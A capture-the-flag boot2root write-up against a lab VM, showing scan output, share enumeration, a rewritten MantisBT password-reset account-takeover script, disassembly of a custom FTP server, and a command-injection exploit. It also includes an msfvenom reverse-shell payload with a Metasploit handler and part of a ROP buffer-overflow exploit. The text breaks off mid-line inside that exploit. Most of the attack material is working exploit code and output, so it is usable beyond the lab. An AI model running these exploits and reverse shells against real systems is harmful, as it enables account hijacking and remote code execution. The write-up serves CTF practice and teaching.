I saw this boot2root pop on twitter and it was rated as a difficult one and
it didn't have any walkthrough or solves apparently, so it picked my interest.
The pre-requisites for any readers would be to know about pentesting in general,
networking, basic web hacking tricks, exploitation and some various tricks.
We'll begin by describing the reconnaissance process, exploit development and
end up with privilege escalation.
Reconnaissance
For reconnaissance, our first tool of choice will be nmap and depending on
the discovered services we will run the appropriate tools.
For nmap scans, it is usually better to proceed in a staged fashion.
Scan the top 100, top 1000 and then all ports depending on what you find while
poking available services.
Some manual testing will allow us to pinpoint software versions
we have on our target and thus know of the exploitable vulnerabilities
it may have.
The first nmap scan
Our first scan will be a top 1000 syn scan with scripting and OS fingerprinting.
# Nmap 7.60 scan initiated Thu Oct 5 10:51:22 2017 as: nmap -sS -vvv -A -oA c0m80-tcp 192.168.56.101
Nmap scan report for 192.168.56.101
Host is up, received arp-response (0.00045s latency).
Scanned at 2017-10-05 10:51:22 EDT for 17s
Not shown: 995 closed ports
Reason: 995 resets
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 64 Microsoft IIS httpd 6.0
|_http-favicon: Unknown favicon MD5: 00BB3873C7F0934968F69D8DDFBD0999
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Microsoft-IIS/6.0
|_http-title: BestestSoftware Ltd.
111/tcp open rpcbind syn-ack ttl 64 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/udp nfs
| 100005 1,2,3 38672/tcp mountd
| 100005 1,2,3 44511/udp mountd
| 100021 1,3,4 51031/tcp nlockmgr
| 100021 1,3,4 58158/udp nlockmgr
| 100024 1 36355/udp status
| 100024 1 57030/tcp status
| 100227 2,3 2049/tcp nfs_acl
|_ 100227 2,3 2049/udp nfs_acl
139/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
2049/tcp open nfs_acl syn-ack ttl 64 2-3 (RPC #100227)
MAC Address: 08:00:27:63:32:5B (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.8
TCP/IP fingerprint:
OS:SCAN(V=7.60%E=4%D=10/5%OT=80%CT=1%CU=43246%PV=Y%DS=1%DC=D%G=Y%M=080027%T
OS:M=59D646FB%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=105%TI=Z%CI=I%TS=8
OS:)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5=M5B
OS:4ST11NW7%O6=M5B4ST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120
OS:)ECN(R=Y%DF=Y%T=40%W=7210%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+
OS:%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
OS:T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A
OS:=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%D
OS:F=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=4
OS:0%CD=S)
Uptime guess: 0.007 days (since Thu Oct 5 10:41:58 2017)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: C0M80; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 1m22s, deviation: 0s, median: 1m22s
| nbstat: NetBIOS name: C0M80, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
| C0M80<00> Flags: <unique><active>
| C0M80<03> Flags: <unique><active>
| C0M80<20> Flags: <unique><active>
| \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
| WORKGROUP<00> Flags: <group><active>
| WORKGROUP<1d> Flags: <unique><active>
| WORKGROUP<1e> Flags: <group><active>
| Statistics:
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|_ 00 00 00 00 00 00 00 00 00 00 00 00 00 00
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 6870/tcp): CLEAN (Couldn't connect)
| Check 2 (port 44492/tcp): CLEAN (Couldn't connect)
| Check 3 (port 64862/udp): CLEAN (Failed to receive data)
| Check 4 (port 34151/udp): CLEAN (Failed to receive data)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: c0m80
| NetBIOS computer name: C0M80\x00
| Domain name: \x00
| FQDN: c0m80
|_ System time: 2017-10-05T15:53:02+01:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2017-10-05 10:53:02
|_ start_date: 1600-12-31 19:03:58
TRACEROUTE
HOP RTT ADDRESS
1 0.45 ms 192.168.56.101
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Oct 5 10:51:39 2017 -- 1 IP address (1 host up) scanned in 17.13 seconds
The first scan yields quite a bit of information:
- We got a HTTP server, there can a big surface attack to explore
- Samba 4.3.11-Ubuntu : This is the fix to CVE-2017-7494 for Ubuntu 14.04 or Ubuntu 16.04
- We got a NFS share, this can yield interesting access or information if this is misconfigured.
This is mostly configured on Linux.
The second scan yields an interesting port : 20021.
It seems there is a custom FTP server to exploit.
Just knowing that these services are running we can hypothesize about software
running on the machine : Linux, Samba and probably WINE.
Samba 4.3.11-Ubuntu is apparently running on the machine so the probable OS is
Ubuntu 14.04 or Ubuntu 16.04.
The CVE-2017-7494 is fixed so this is not our way in, that's one of
the vulnerabilities (with EternalBlue) to think about when we see
port 445 opened nowadays.
We got the probable OS version from that alone, we'll verify it with more poking.
SMB
SMB is the network protocol that Windows machines use in order to communicate
among themselves. This was re-implemented for Linux under the Samba free project.
This service can yield information about the OS, shares and users depending if
NULL sessions are allowed or you got credentials.
enum4linux will be used to do the job.
$ enum4linux -a 192.168.56.101
[...]
==========================
| Target Information |
==========================
Target ........... 192.168.56.101
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
======================================================
| Enumerating Workgroup/Domain on 192.168.56.101 |
======================================================
[+] Got domain/workgroup name: WORKGROUP
==============================================
| Nbtstat Information for 192.168.56.101 |
==============================================
Looking up status of 192.168.56.101
C0M80 <00> - B <ACTIVE> Workstation Service
C0M80 <03> - B <ACTIVE> Messenger Service
C0M80 <20> - B <ACTIVE> File Server Service
..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser
WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
WORKGROUP <1d> - B <ACTIVE> Master Browser
WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections
MAC Address = 00-00-00-00-00-00
=======================================
| Session Check on 192.168.56.101 |
=======================================
[+] Server 192.168.56.101 allows sessions using username '', password ''
=============================================
| Getting domain SID for 192.168.56.101 |
=============================================
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
========================================
| OS information on 192.168.56.101 |
========================================
[+] Got OS info for 192.168.56.101 from smbclient:
[+] Got OS info for 192.168.56.101 from srvinfo:
C0M80 Wk Sv PrQ Unx NT SNT C0m80 server (Samba, Ubuntu)
platform_id : 500
os version : 6.1
server type : 0x809a03
[...]
===========================================
| Share Enumeration on 192.168.56.101 |
===========================================
WARNING: The "syslog" option is deprecated
OS=[Windows 6.1] Server=[Samba 4.3.11-Ubuntu]
OS=[Windows 6.1] Server=[Samba 4.3.11-Ubuntu]
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
IPC$ IPC IPC Service (C0m80 server (Samba, Ubuntu))
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP C0M80
[+] Attempting to map shares on 192.168.56.101
//192.168.56.101/print$ Mapping: DENIED, Listing: N/A
//192.168.56.101/IPC$ Mapping: OK Listing: DENIED
[...]
=========================================================================
| Users on 192.168.56.101 via RID cycling (RIDS: 500-550,1000-1050) |
=========================================================================
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\b0b (Local User)
S-1-22-1-1001 Unix User\al1ce (Local User)
[...]
The information we are able to grab from that scan:
- OS : Ubuntu 14.04 or Ubuntu 16.04
- users : b0b and al1ce
- no available shares
NFS
This service can yield access to files or code execution or privilege escalation
depending on what we can write/overwrite or read.
We first look if it exports shares.
root@kali:~/c0m80# showmount -e 192.168.56.101
Export list for 192.168.56.101:
/ftpsvr/bkp *
It does export a share that is accessible to anyone and we probably also have
RW permissions.
We mount it and explore the share.
root@kali:~/c0m80# mkdir bkp
root@kali:~/c0m80# mount 192.168.56.101:/ftpsvr/bkp bkp/
root@kali:~/c0m80# ls -lash bkp/
total 2.7M
4.0K drwxrwx--- 2 root backup 4.0K Sep 22 21:37 .
4.0K drwxr-xr-x 3 root root 4.0K Oct 5 13:55 ..
2.7M -rw-r--r-- 1 backup backup 2.7M Oct 5 2017 ftp104.bkp
That ftp104.bkp is a hexdump of a binary we'll have to exploit, this will be
detailed in a later section.
HTTP
Using DirBuster we find several pages and directories that yield more information
about our target.
Directories:
- bin/
- dev/
- bugs/ : Leads to MantisBT app, this is a bugtracker
Pages:
- bugs/admin/check/ : Leaks MySQL version = 5.5.57
- dev/info.php : Sorry to disappoint but this is pretty much fake (we know it's a Linux box)
- bugs/admin/check/index.php?show_all=1&show_errors=0
This is accessible without authentication and we get versions :
PHP 5.5.9-1ubuntu4.22, MySQL 5.5.57 and AdoDB 5.20.9.
We can infere that our OS version is thus Ubuntu 14.04 and that the security
patch level is around August.
The "bugs/" path leads to an app named MantisBT, it is a bugtracker.
When trying to log on, we'll be welcomed with a nice message:
If you do not yet have an account, please use [guest:guest] to view the bugtracker.
As a guest user, there isn't much to see but "find a vuln" message.
We need to pinpoint the exact MantisBT version if we are to find
an exploitable vulnerability or wish to develop an 0day.
Going through the HTML source we find these interesting imports:
<link rel="stylesheet" type="text/css" href="http://192.168.56.104/bugs/css/default.css" />
<link rel="stylesheet" type="text/css" href="http://192.168.56.104/bugs/css/common_config.php" />
<link rel="stylesheet" type="text/css" href="http://192.168.56.104/bugs/css/status_config.php" />
<link rel="stylesheet" type="text/css" href="http://192.168.56.104/bugs/css/dropzone-4.3.0.min.css" />
<link rel="stylesheet" type="text/css" href="http://192.168.56.104/bugs/css/bootstrap-3.3.6.min.css" />
<link rel="stylesheet" type="text/css" href="http://192.168.56.104/bugs/css/font-awesome-4.6.3.min.css" />
<link rel="stylesheet" type="text/css" href="http://192.168.56.104/bugs/css/open-sans.css" />
<link rel="stylesheet" type="text/css" href="http://192.168.56.104/bugs/css/bootstrap-datetimepicker-4.17.43.min.css" />
<link rel="stylesheet" type="text/css" href="http://192.168.56.104/bugs/css/ace.min.css" />
<link rel="stylesheet" type="text/css" href="http://192.168.56.104/bugs/css/ace-mantis.css" />
Going through the available files on sourceforge, we end up finding our MantisBT version : 2.x.0.
At the end of the reconnaissance phase we managed to gather a precise enough
view of the software running on our target:
Software:
OS : Ubuntu 14.04 LTS
MantisBT : 2.x.y
MySQL : 5.5.57
Samba : 4.3.11
ADOdb : 5.20.9
PHP : 5.5.9-1ubuntu4.22
WINE : August
Services : HTTP, NFS, Custom FTP server
This will help tremendously while trying to hack our target further.
Gaining access to MantisBT
The latest publicly available exploit found for MantisBT 2.x.y :
- https://www.exploit-db.com/exploits/41890/ .
It allows an attacker to change the password of a user.
I ended up rewriting the exploit as it didn't tell me if the exploit
was successful or failed.
#!/usr/bin/python2
'''
Original exploit : https://www.exploit-db.com/exploits/41890/
Rewritten as it couldn't differentiate
between successful and failed exploitation.
m_101
'''
import sys
import requests
from bs4 import BeautifulSoup
if len (sys.argv) != 4:
print 'Usage: %s target_ip user_id new_pass' % sys.argv[0]
exit (1)
(progname, target_ip, user_id, new_pass) = sys.argv
mysession = requests.session ()
# exploit the vuln
url = 'http://%s/bugs/verify.php?id=%s&confirm_hash=' % (target_ip, user_id)
response = mysession.get (url)
# do the parsing
soup = BeautifulSoup (response.content, 'html.parser')
# get CSRF token and realname
account_update_token = None
realname = None
for tag in soup.find_all ('input'):
if account_update_token == None and tag.get ('name') == 'account_update_token':
account_update_token = tag.get ('value')
if realname == None and tag.get ('name') == 'realname':
realname = tag.get ('value')
if account_update_token == None or realname == None:
print '[-] Failed getting account update token or realname'
exit (1)
# now update the user password
form = {
'verify_user_id' : user_id,
'account_update_token' : account_update_token,
'realname' : realname,
'password' : new_pass,
'password_confirm' : new_pass
}
url = 'http://%s/bugs/account_update.php' % target_ip
response = mysession.post (url, data = form)
success = False
for line in response.content.split ('\n'):
if 'Operation successful.' in line:
success = True
break
print 'realname : %s' % realname
print 'token : %s' % account_update_token
if success:
print '[+] Successfully hijacked account'
print ' new password : %s' % new_pass
else:
print '[-] Exploit failed'
We find out 2 interesting tickets:
Issue : http://192.168.56.101/bugs/view.php?id=6
Leaks : http://c0m80.ctf/bin/npp.zip
The npp.zip is a red herring, there isn't anything there to see but pictures.
Issue : http://192.168.56.101/bugs/view.php?id=1
Leaks : http://192.168.56.101/dev/ftp104.bkp and there is a BOF (Buffer OverFlow)
This .bkp file contains a binary in hexdump format.
Rebuilding our binary
We can rebuild our binary by using xxd or a custom script.
#!/usr/bin/python2
'''
desc : This rebuild the .txt dump to a .bin
'''
import sys
import re
import string
if len (sys.argv) != 3:
print 'Usage: %s bkp exe' % sys.argv[0]
exit (1)
(progname, bkp, exe) = sys.argv
def is_valid_hex (hex_str):
if len (hex_str) != 4:
return False
for c in hex_str:
if c not in string.hexdigits:
return False
return True
fp = open (bkp)
content = ''
for idx, line in enumerate (fp.readlines ()):
line = re.sub (' +', ' ', line)
fields = line.split (' ')
for field in fields:
if is_valid_hex (field):
content += field.decode ('hex')
fp.close ()
fp_out = open (exe, 'wb')
fp_out.write (content)
fp_out.close ()
When we rebuild the binary from the hexdump (the ftp104.bkp file),
we get a PE binary. The PE executable format is mainly used on Windows,
here we know that we got a Linux distribution so chances are that
this executable is running under WINE.
WINE is a re-implementation of the Windows API by using the Posix API,
this allows to run Windows apps on compatible Unixes.
When running our binary with WINE, we get an error about needing "bfsvrdll.dll".
Let's check if there is anything else in there with binwalk.
$ binwalk ftp104.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 Microsoft executable, portable (PE)
328240 0x50230 Unix path: /debian/tmp/usr/i686-w64-mingw32/include/psdk_inc
329269 0x50635 Unix path: /debian/tmp/usr/i686-w64-mingw32/include
335092 0x51CF4 Unix path: /debian/tmp/usr/i686-w64-mingw32/include
337137 0x524F1 Unix path: /debian/tmp/usr/i686-w64-mingw32/include/psdk_inc
379576 0x5CAB8 Microsoft executable, portable (PE)
621288 0x97AE8 Unix path: /debian/tmp/usr/i686-w64-mingw32/include/psdk_inc
622223 0x97E8F Unix path: /debian/tmp/usr/i686-w64-mingw32/include
626096 0x98DB0 Unix path: /debian/tmp/usr/i686-w64-mingw32/include
627522 0x99342 Unix path: /debian/tmp/usr/i686-w64-mingw32/include
There are in fact 2 binaries.
$ dd if=ftp104.bin of=ftp.exe bs=1 count=379576
379576+0 records in
379576+0 records out
379576 bytes (380 kB, 371 KiB) copied, 0.413207 s, 919 kB/s
$ file ftp.exe
ftp.exe: PE32 executable (console) Intel 80386, for MS Windows
$ dd if=ftp104.bin of=bfsvrdll.dll bs=1 skip=379576
278766+0 records in
278766+0 records out
278766 bytes (279 kB, 272 KiB) copied, 0.287341 s, 970 kB/s
$ file bsvrdll.dll
bfsvrdll.dll: PE32 executable (DLL) (console) Intel 80386, for MS Windows
Now our binary runs properly.
Let's hunt for vulnerabilities in that binary.
I decided to use reverse engineering rather than fuzzing to find vulnerabilities
as the binary is small.
Reverse Engineering
We know it's a FTP server so vulnerabilities will be located in one of the
command handlers in the dispatch switch case.
I ended up finding 2 remotely exploitable vulnerabilities.
1 command injection and 1 buffer overflow.
Reading the basic block located at 0x4021F5, we can see there is
a command injection vulnerability as it's constructing a command as follow:
explorer [url]
The command injection is unfortunately not exploitable on the target VM
but it is exploitable on a lab box though.
The vulnerability is triggered by sending a string in the following form:
- http:[some_url] && [cmd]
- https:[some_url] && [cmd]
.text:004021B3 loc_4021B3: ; CODE XREF: _ConnectionHandler@4+687 j
.text:004021B3 mov dword ptr [esp+8], 5 ; size_t
.text:004021BB mov dword ptr [esp+4], offset aHttp ; "http:"
.text:004021C3 mov eax, [ebp+cmd]
.text:004021C6 mov [esp], eax ; char *
.text:004021C9 call _strncmp
.text:004021CE test eax, eax
.text:004021D0 jz short cmd_injection
.text:004021D2 mov dword ptr [esp+8], 6 ; size_t
.text:004021DA mov dword ptr [esp+4], offset aHttps ; "https:"
.text:004021E2 mov eax, [ebp+cmd]
.text:004021E5 mov [esp], eax ; char *
.text:004021E8 call _strncmp
.text:004021ED test eax, eax
.text:004021EF jnz loc_4022AD
.text:004021F5
.text:004021F5 cmd_injection: ; CODE XREF: _ConnectionHandler@4+6FD j
.text:004021F5 mov dword ptr [ebp+var_4F3], 52677542h
.text:004021FF mov [ebp+var_4EF], 726F7065h
.text:00402209 mov [ebp+var_4EB], 694C2074h
.text:00402213 mov [ebp+var_4E7], 53206B6Eh
.text:0040221D mov [ebp+var_4E3], 20746E65h
.text:00402227 mov [ebp+var_4DF], 42206F74h
.text:00402231 mov [ebp+var_4DB], 2E2E626Fh
.text:0040223B mov [ebp+var_4D7], 74660A2Eh
.text:00402245 mov [ebp+var_4D3], 3E70h
.text:0040224F mov eax, [ebp+cmd]
.text:00402252 mov [esp+4], eax ; char *
.text:00402256 mov dword ptr [esp], offset aExplorer ; "explorer "
.text:0040225D call _concat
.text:00402262 mov [ebp+var_40], eax
.text:00402265 mov eax, [ebp+var_40]
.text:00402268 mov [esp], eax ; char *
.text:0040226B call _system
.text:00402270 mov eax, [ebp+var_40]
.text:00402273 mov [esp], eax ; void *
.text:00402276 call _free
.text:0040227B mov dword ptr [esp+0Ch], 0 ; flags
.text:00402283 mov dword ptr [esp+8], 24h ; len
.text:0040228B lea eax, [ebp+var_4F3]
.text:00402291 mov [esp+4], eax ; buf
.text:00402295 mov eax, [ebp+sock]
.text:00402298 mov [esp], eax ; s
.text:0040229B mov eax, ds:__imp__send@16
.text:004022A0 call eax ; __imp__send@16
.text:004022A2 sub esp, 10h
.text:004022A5 mov [ebp+var_1C], eax
.text:004022A8 jmp loc_403A5A
The buffer overflow on the other hand is quite exploitable.
First the handler get triggered when we send "cd [cmd]".
Then the vulnerable function is triggered if there is a '.' in
the "[cmd]" string.
.text:004036D1 loc_4036D1: ; CODE XREF: _ConnectionHandler@4+1B61 j
.text:004036D1 mov dword ptr [esp+8], 3 ; size_t
.text:004036D9 mov dword ptr [esp+4], offset aCd ; "cd "
.text:004036E1 mov eax, [ebp+cmd]
.text:004036E4 mov [esp], eax ; char *
.text:004036E7 call _strncmp
.text:004036EC test eax, eax
.text:004036EE jz short loc_403713
.text:004036F0 mov dword ptr [esp+8], 3 ; size_t
.text:004036F8 mov dword ptr [esp+4], offset aCd_0 ; "CD "
.text:00403700 mov eax, [ebp+cmd]
.text:00403703 mov [esp], eax ; char *
.text:00403706 call _strncmp
.text:0040370B test eax, eax
.text:0040370D jnz loc_403854
.text:00403713
.text:00403713 loc_403713: ; CODE XREF: _ConnectionHandler@4+1C1B j
.text:00403713 mov dword ptr [esp], 64h ; size_t
.text:0040371A call _malloc
.text:0040371F mov [ebp+tmp_buf], eax
.text:00403722 mov dword ptr [esp+8], 64h ; size_t
.text:0040372A mov dword ptr [esp+4], 0 ; int
.text:00403732 mov eax, [ebp+tmp_buf]
.text:00403735 mov [esp], eax ; void *
.text:00403738 call _memset
.text:0040373D mov dword ptr [ebp+var_4F3], 20303532h
.text:00403747 mov [ebp+var_4EF], 'eriD'
.text:00403751 mov [ebp+var_4EB], 'rotc'
.text:0040375B mov [ebp+var_4E7], 'us y'
.text:00403765 mov [ebp+var_4E3], 'secc'
.text:0040376F mov [ebp+var_4DF], 'lufs'
.text:00403779 mov [ebp+var_4DB], 'c yl'
.text:00403783 mov [ebp+var_4D7], 'gnah'
.text:0040378D mov [ebp+var_4D3], 220A6465h
.text:00403797 mov [ebp+var_4CF], 660A222Fh
.text:004037A1 mov [ebp+var_4CB], 3E7074h
.text:004037AB lea eax, [ebp+var_4C7]
.text:004037B1 mov ecx, 0CFh
.text:004037B6 mov ebx, 0
.text:004037BB mov [eax], ebx
.text:004037BD mov [eax+ecx-4], ebx
.text:004037C1 lea edx, [eax+4]
.text:004037C4 and edx, 0FFFFFFFCh
.text:004037C7 sub eax, edx
.text:004037C9 add ecx, eax
.text:004037CB and ecx, 0FFFFFFFCh
.text:004037CE shr ecx, 2
.text:004037D1 mov edi, edx
.text:004037D3 mov eax, ebx
.text:004037D5 rep stosd
.text:004037D7 mov [ebp+idx_cmd], 2
.text:004037DE jmp short loc_40381A
.text:004037E0 ; ---------------------------------------------------------------------------
.text:004037E0
.text:004037E0 loc_4037E0: ; CODE XREF: _ConnectionHandler@4+1D4D j
.text:004037E0 mov edx, [ebp+idx_cmd]
.text:004037E3 mov eax, [ebp+cmd]
.text:004037E6 add eax, edx
.text:004037E8 movzx eax, byte ptr [eax]
.text:004037EB cmp al, '.'
.text:004037ED jnz short loc_403816
.text:004037EF
.text:004037EF vuln_branch: ; size_t
.text:004037EF mov dword ptr [esp+8], 64h
.text:004037F7 mov eax, [ebp+cmd]
.text:004037FA mov [esp+4], eax ; char *
.text:004037FE mov eax, [ebp+tmp_buf]
.text:00403801 mov [esp], eax ; char *
.text:00403804 call _strncpy
.text:00403809 mov eax, [ebp+tmp_buf]
.text:0040380C mov [esp], eax ; buf
.text:0040380F call vuln_function
.text:00403814 jmp short loc_403822
The vulnerable function calls strcpy() !!!
A classic textbook stack based buffer overflow.
.text:00401AB8 ; char *__cdecl vuln_function(char *buf)
.text:00401AB8 public vuln_function
.text:00401AB8 vuln_function proc near ; CODE XREF: _ConnectionHandler@4+1D3C p
.text:00401AB8
.text:00401AB8 local_buf = byte ptr -2Eh
.text:00401AB8 buf = dword ptr 8
.text:00401AB8
.text:00401AB8 push ebp
.text:00401AB9 mov ebp, esp
.text:00401ABB sub esp, 48h
.text:00401ABE mov eax, [ebp+buf]
.text:00401AC1 mov [esp+4], eax ; char *
.text:00401AC5 lea eax, [ebp+local_buf]
.text:00401AC8 mov [esp], eax ; char *
.text:00401ACB call _strcpy
.text:00401AD0 nop
.text:00401AD1 leave
.text:00401AD2 retn
.text:00401AD2 vuln_function endp
Exploitation of both vulnerabilities will be detailed.
Exploitation : Command Injection
A command injection is possible when a command string is built and used in a system() equivalent call using improperly filtered or unfiltered user input.
#!/usr/bin/python2
import sys
from pwn import *
if len (sys.argv) != 2:
print 'Usage : %s ip' % sys.argv[0]
exit (1)
(progname, target_ip) = sys.argv
target = remote (target_ip, 20021)
target.sendline ('http://%s && rundll32 Z:\\ftpsrv\\bkp\\shell.dll ' % target_ip)
target.interactive ()
Since it is a Linux target, we can embed a Linux payload into a DLL using msfvenom:
$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.102 LPORT=4444 -f dll > shell.dll
The buffer overflow is reliably exploitable for remote arbitrary code execution
as shown in the next section.
Exploitation : Buffer Overflow
The difficulty of exploitation resides in the limited available size for
our payload.
Since apparently NX is enabled, options are even more limited.
The ftp_buffer is 0x1000 bytes and there are no characters restrictions since
the FTP server uses recv(). The only restriction is not to have any '\x00' in our
buffer as it would truncate our copy in the vuln_function().
The vulnerable handler copies at most 0x64 bytes = 100 bytes in its tmp_buf,
our vuln_function() buffer is 0x2e = 46 bytes. So SEBP and SEIP will be
overwritten respectly at offset 42 and 46 of tmp_buf. We thus have around 50
bytes for our ROP payload, or space for roughly 12 values/pointers.
12 values/pointers ... that indeed restrict our options by quite a bit.
Given the right gadgets this limitation can be bypassed to have arbitrary
code execution.
By chance, there is no ASLR for the .exe and .dll used. I didn't find any infoleak vulnerability
so if ASLR were to be in play, it probably wouldn't be exploitable.
Luckily for us, we find the necessary gadgets for our exploitation to proceed.
The gadget I was looking for was a 'mov dword ptr [register], value' patch kind.
I ended up finding 'add dword ptr [ebx + 0x5e5b30c4], eax ; pop edi ; ret',
this does the job. The only pre-requisites are to know memory state when the
gadget execute and no '\x00' when setting ebx value.
The core of my exploit resides in the following routine:
def patch_once (addr, value):
ropchain = [
# pop eax ; ret
0x625014d5,
value,
# pop ebx ; ret
0x62501033,
boundint (addr - 0x5e5b30c4, 32),
# add dword ptr [ebx + 0x5e5b30c4], eax ; pop edi ; ret
0x62501a45,
# junk
0x12345678,
# ExitThread (0x87654321)
func_ExitThread,
0x87654321
]
return pack_rop (ropchain)
This allows us to write 4 bytes at an arbitrary location (provided the target
address doesn't have any NULL bytes).
For each client that connects, the FTP server creates a thread to handle it.
It is quite advantageous to us : we don't have to bother restoring ESP and/or
EBP, we just use ExitThread() and let WINE do the job for us.
At each connection we'll thus write only 4 bytes.
The exploit proceeds as follow:
- Write VirtualAlloc() ROP payload
- Run it to allocate memory
- Write system() ROP payload
- Run a command with system() (this can be removed since the rundll32 trick
doesn't work on the target VM even if it does in the lab)
- Copy shellcode to the earlier alloced memory
- Execute arbitrary shellcode
For the exploit to work, you need to change the shellcode as this was tailored
for my usage.
Another difficulty is finding which precise WINE version our target VM uses.
That's where the security patch (August) level helped.
I did the development on my Ubuntu 14.04 lab box.
Multiple WINE libs found here were tried : https://dl.winehq.org/wine-builds/ubuntu/pool/main/ .
You can find our target's VM one here : https://dl.winehq.org/wine-builds/ubuntu/pool/main/wine-stable-i386_2.0.2~trusty_i386.deb .
To make the exploit more reliable:
- support multiple WINE versions
- cleanup after the exploit : restore the memory state as it was before
exploitation
Metasploit handler
We configure our metasploit handler to get our reverse shell.
msf exploit(handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (linux/x86/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD /bin/bash -p yes The command string to execute
LHOST 192.168.56.102 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf exploit(handler) > exploit
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 192.168.56.102:4444
The exploit
Here it finally is.
Don't forget to change the used shellcode with yours, otherwise it just won't work.
#!/usr/bin/python2
from pwn import *
import struct
import sys
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
# kernel32.dll
func_VirtualAlloc = 0x7b485b20
func_ExitThread = 0x7b480af0
# ftp
func_system = 0x404c1c
# bfsvrdll.dll
addr_ret = 0x6250210F
# pivot
addr_leave = 0x62501497
# system payload
addr_rop_system = 0x13374010
# cleaner
addr_alloc = 0x13370000
addr_shellcode = 0x13370000 + 0x9010
def check_ip (ip_addr):
try:
is_valid = [ 0 <= int(x) < 256 for x in re.split('\.',re.match(r'^\d+\.\d+\.\d+\.\d+$', ip_addr).group(0)) ].count (True) == 4
except:
return False
return is_valid
if len (sys.argv) != 3:
print 'Usage: %s rhost rport' % sys.argv[0]
exit (1)
(progname, rhost, rport) = sys.argv
# validate rhost
if check_ip (rhost) == False:
print '[-] Invalid IP'
exit (1)
# validate rport
try:
rport = int (rport, 0)
except:
print '[-] Invalid rport'
exit (1)
if rport <= 0 or 65535 < rport:
print '[-] Invalid rport'
exit (1)
def do_overflow (target, payload, sebp = 'B' * 4):
target.sendline ('cd ' + 'A' * 43 + sebp + payload + '.')
def boundint (val, nbits):
return ((val + (1 << nbits)) % (1 << nbits))
'''
0x62502193 : movzx edx, word ptr [eax + 0x62500006] ; mov eax, edx ; ret
'''
def pack_rop (ropchain):
return ''.join ([struct.pack ('<I', value) for value in ropchain ])
def patch_once (addr, value):
ropchain = [
# pop eax ; ret
0x625014d5,
value,
# pop ebx ; ret
0x62501033,
boundint (addr - 0x5e5b30c4, 32),
# add dword ptr [ebx + 0x5e5b30c4], eax ; pop edi ; ret
0x62501a45,
# junk
0x12345678,
# ExitThread (0x87654321)
func_ExitThread,
0x87654321
]
return pack_rop (ropchain)
# this bypass the 12 pointers limits by building a second stage payload that
# we'll later pivot to
def write_data (target_ip, target_port, addr, data, sebp = 'B' * 4, align = 4, padding = ' ', verbose = False):
# pad data so it is aligned
remain = len (data) % align
#print 'original len (data) : %d' % len (data)
if remain != 0:
data += (align - remain) * padding
#print 'padded len (data) : %d' % len (data)
for idx in range (0, len (data), align):
value = struct.unpack ('<I', data[idx : idx+4])[0]
#print 'Writing "%s" at 0x%x' % (data[idx : idx+4], addr + idx)
payload = patch_once (addr + idx, value)
if verbose:
print 'packed : %s' % payload.encode ('hex')
if '\x00' in payload or '\x0a' in payload in '\x0d' in payload:
